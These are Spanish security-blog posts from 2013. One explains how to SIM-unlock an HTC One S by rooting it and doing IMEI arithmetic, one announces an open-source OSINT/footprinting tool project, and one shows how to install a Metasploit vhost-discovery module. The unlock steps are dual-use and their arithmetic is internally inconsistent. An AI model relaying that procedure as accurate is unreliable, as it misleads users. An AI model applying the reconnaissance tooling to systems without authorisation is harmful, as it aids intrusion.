A continuación os recordamos el horario y la agenta de las Jornadas:

Nos vemos mañana!Saludos!!

15 may 2013

Liberar HTC ONE S

Con el paso del tiempo al final lo que quieres es cambiarte de compañía, así que cuando pasa la dichosa permanencia vas en busca de otras compañías mejores.

Este ha sido mi caso, en el que finalmente quiero cambiar de compañía y el problema es que lo mas caro es el teléfono, y no quiero tener que comprarme otro. El problema es que el teléfono va ligado a la compañía, es por eso que se tiene que hacer un proceso de liberar el teléfono.

¿Que dos métodos puedes emplear?

1-Llamar a la compañía pues es legal que te tengan que dar el código de desbloqueo del terminal. Más información aquí => Liberar teléfono

Las compañías se ponen muy pesadas en no querer darte el código por lo que hay que recorrer a otros métodos para obtener dicho código.

2-Rootear el teléfono y obtener el código de desbloqueo.

Nos centraremos en la segunda parte, que es la interesante.

¿Que necesitamos?

  • ADB Shell (opcional)
  • root en el teléfono (imprescindible)
  • IMEI

El tema de tener ADB es que es mas cómodo escribir desde la terminal del portátil, simplemente.

Para conseguir root del teléfono, podemos seguir las infinidad de guías que existen por internet, en mi caso yo usé Super One Click.

Una vez rooteado el teléfono lo que haremos será pedir shell desde la terminal y nos ponemos como root:

Ya tendríamos el IMEI, lo anotamos porque lo necesitaremos.Ahora vamos por el Unlock Code:

Ya tenemos los dos datos que necesitamos, ahora lo que haremos será una serie de operaciones para obtener el código de desbloqueo.

Vamos a poner datos imaginarios para el IMEI y el Unlock Code.

Lo primero que haremos será, del IMEI encontrado coger solo los últimos 8 digitos.

Ejemplo: 0000008

Ahora lo que haremos será invertir las posiciones de manera que quedaría:

0080000

Ahora añadiremos un cuarto dígito mas en el primer bloque, este número es el resultado de la sumarización de los 3 primeros dígitos:

00000008 => Este es el resultado si por el contrario la suma de los 3 primeros bloques nos sale de mas de un dígito, ejemplo 8+4, que como resultado 12, solo anotaríamos el número 2.

Como último paso hemos de coger el IMEI que habíamos obtenido antes y lo restaremos junto con este código que hemos generado.

Es decir la operación sería:

IMEI – UNLOCK_CODE = UNLOCK CODE

El resultado de esta resta sería el código de desbloqueo. Source => http://forum.xda-developers.com/showthread.php?p=27010217#post27010217

14 may 2013

Anubis Revolution: ¡El comienzo!

Buenas a todos, hoy estoy aquí para proponeros a todos una idea que tenía desde hace tiempo rondándome la cabeza y que quería lanzar a la comunidad. Como muchos sabéis, hace ya 5 años que programé la herramienta Anubis, una utilidad pensada para servir como herramienta automática en un Pentest, para la recolección de información pública. La utilidad fue un éxito, tanto es así que casi 40.000 personas la han descargado. ¡Gracias a todos!

Unos años después escribí el mini-libro La Biblia del Footprinting, con la idea de ayudaros a utilizar ésta, y otras herramientas en los procesos de auditoría de seguridad.

Cuando superó Anubis las primeras 5.000 descargas más o menos comencé el desarrollo de la versión 2.0, pero la he ido dejando a un lado por otros proyectos en los que me he ido embarcando. En ese tiempo además muchos de vosotros me habéis pedido que cambiase la tecnología de desarrollo de .Net, a un lenguaje tipo python, para poder ejecutarlo en cualquier sistema operativo y facilitar el desarrollo modular con sencillos scripts. Es por ello que he decido lo que ahora os propondré.

Me gustaría que programásemos entre TODOS la que será la versión 2.0 de Anubis y que sea una herramienta 100% Open Source, al igual que nuestro querido Flu.

He pensado en titular la herramienta como Anubis Revolution (por la revolucionaria idea) y darle un enfoque ya no solo de herramienta de auditoría/pentest orientada al Footprint y un poco al Fingerprint, sino también que sirva como un sistema de cibervigilancia y como sistema OSINT.

Como lenguaje de programación he seleccionado Python, que ha sido el que más usuarios me habéis recomendado, y como interfaz gráfico Django, para poder alojar el sistema en un servidor, y acceder a él remotamente vía web con un simple navegador.

La idea es que cada uno de vosotros que os apetezca participar desarrolléis un pequeño script (o varios) en Python que realice una o varias de las distintas funcionalidades que en el siguiente documento de CAPTURA DE REQUISITOS hemos detectado (u otras nuevas que se os ocurran y no hayamos definido aquí), programado lo más modular posible para facilitar la reutilización. Una vez programado, nos la enviaríais junto con un post que explique cómo se utiliza, los resultados que obtiene y vuestro nombre, página web, etc. para añadiros la autoría. Lo publicaremos en nuestro blog como artículo para que la comunidad lo pruebe y aporte ideas y comentarios, y cuando tengamos un buen número de scripts estables lanzaremos la primera versión de Anubis Revolution con todos ellos, con su correspondiente manual de usuario y configuración. De esta manera podremos conseguir aunando el conocimiento de todos, un sistema muy potente y que nos permita facilitar el trabajo diario de la gente que trabajamos en este bonito sector que es la seguridad informática.

A continuación os dejamos el enlace para descargar el documento (versión primera) de captura de requisitos:

DESCARGAR DOCUMENTO CAPTURA DE REQUISITOS DE ANUBIS REVOLUTION

También sería interesante que se incorporase al proyecto algún diseñador gráfico para hacer una interfaz bonita y un programador web.

Podéis ir enviándonos vuestros códigos, ideas y ofrecimientos a info@flu-project.com

Espero que os guste la idea, y como ejemplo, yo seré el primero en aportar mi granito de arena al proyecto escribiendo los primeros scripts, y que publicaré a través de éste blog en las próximas semanas :) Habilitaremos próximamente una página web para mantener el proyecto.

Saludos!!

13 may 2013

Vhost Search: Metasploit by Selvi

En el artículo de hoy veremos un módulo que podemos usar en Metasploit y que es muy útil. El autor del módulo es Jose Selvi, podéis entrar en su web pentester.es, por si no la conocéis.

Si queréis saber exactamente como funciona el módulo antes de usarlo podéis editar el código fuente…

Como veis en el código sale el autor del módulo ;)

Tendremos que copiar el módulo dentro de la suite de Metasploit, tal y como indica Selvi en su subdominio de tools.

darkmac:Downloads marc$ cp vhost_search.rb ../tools/pentest/msf/modules/auxiliary/scanner/http/

Después de eso, solo queda arrancar Metasploit y probar el módulo descargado.

 

Selvi ha pensado incluso en el apartado de guardar los resultados, bien bien!!Le pasamos los datos que nos pide el módulo… que como veis podemos pasarle una IP, un rango e incluso el CIDR.El módulo empezará a buscar los virtual hosts en cada IP, hasta que los vaya encontrando.El módulo ha ido encontrando los vhosts que hay detrás de cada IP.Sin duda, aunque el módulo no venga incluído en Metasploit, deberíamos de llevarlo con nosotros!Descarga del módulo